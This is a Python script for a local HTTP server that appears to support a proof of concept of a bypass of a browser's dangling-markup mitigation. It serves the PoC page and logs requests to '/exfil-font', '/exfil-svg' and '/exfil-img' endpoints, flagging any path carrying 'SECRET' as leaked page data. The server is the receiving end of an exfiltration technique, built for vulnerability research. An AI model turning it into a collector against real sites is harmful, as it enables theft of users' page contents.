#!/usr/bin/env python3
"""
HTTP server for the dangling-markup mitigation bypass POC.

It serves poc.html and logs every incoming request path to stderr and to
requests.log. The vulnerability is confirmed if a request whose path
contains the substring "SECRET" is received -- such a request carries
dangling-markup data that the browser's mitigation should have blocked.
"""
import http.server
import socketserver
import sys
import os

PORT = int(os.environ.get("POC_PORT", "8080"))
LOG = os.path.join(os.path.dirname(os.path.abspath(__file__)), "requests.log")

# truncate log on start
open(LOG, "w").close()


class Handler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=os.path.dirname(os.path.abspath(__file__)), **kw)

    def _log(self):
        line = f"{self.command} {self.path}"
        leaked = "SECRET" in self.path
        tag = "  [!!! LEAKED -- mitigation bypassed !!!]" if leaked else ""
        sys.stderr.write(f"[server] {line}{tag}\n")
        sys.stderr.flush()
        with open(LOG, "a") as f:
            f.write(line + ("    LEAKED\n" if leaked else "\n"))

    def do_GET(self):
        self._log()
        if self.path.startswith("/exfil-font"):
            # Serve an empty WOFF-ish blob; content doesn't matter, the
            # request reaching us is the proof.
            self.send_response(200)
            self.send_header("Content-Type", "font/woff2")
            self.send_header("Access-Control-Allow-Origin", "*")
            self.send_header("Content-Length", "0")
            self.end_headers()
            return
        if self.path.startswith("/exfil-svg"):
            body = b'<svg xmlns="http://www.w3.org/2000/svg"><mask id="m"><rect width="10" height="10" fill="white"/></mask></svg>'
            self.send_response(200)
            self.send_header("Content-Type", "image/svg+xml")
            self.send_header("Access-Control-Allow-Origin", "*")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return
        if self.path.startswith("/exfil-img"):
            # 1x1 transparent gif
            body = bytes.fromhex("47494638396101000100800000000000ffffff21f90401000000002c00000000010001000002024401003b")
            self.send_response(200)
            self.send_header("Content-Type", "image/gif")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return
        if self.path == "/" or self.path.startswith("/poc.html"):
            return super().do_GET()
        self.send_response(404)
        self.end_headers()

    def log_message(self, *a, **kw):
        pass  # silence default access log


if __name__ == "__main__":
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(("127.0.0.1", PORT), Handler) as httpd:
        sys.stderr.write(f"[server] listening on http://127.0.0.1:{PORT}\n")
        sys.stderr.flush()
        httpd.serve_forever()
